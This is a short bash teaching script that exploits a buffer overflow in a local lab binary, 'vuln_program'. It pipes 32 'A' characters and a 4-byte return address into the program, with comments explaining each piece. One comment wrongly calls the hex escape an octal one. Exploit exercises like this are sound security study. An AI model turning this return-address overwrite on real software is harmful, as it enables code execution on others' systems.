#!/bin/bash
# Simple one-liner script to exploit the vuln_program buffer overflow
# Author: Omar Santos @santosomar
# Explanation:
#  echo -en is used to enable interpretation of backslash escapes and turns off 
#  the default behavior of the echo command which is to add a newline at the end of the output.
#  $(for i in {1..32}; do echo -n "A"; done) is a bash command that will iterate 32 times and print 'A' each time without a newline.
#  $'\x9d\x84\x04\x08' is an octal escape representation that will produce the 4 bytes of hex representation, in this case '\x9d\x84\x04\x08'
#  This command will output a string of 32 'A's followed by that 4 bytes value.
#  Note that the echo command in Bash behaves differently across different shells (like bash, zsh, etc) 
#  and different platforms (like Linux, MacOS, Windows) so the command could produce different results 
#  depending on the environment where you run it.


echo -en $(for i in {1..32}; do echo -n "A"; done)$'\x9d\x84\x04\x08' | ./vuln_program
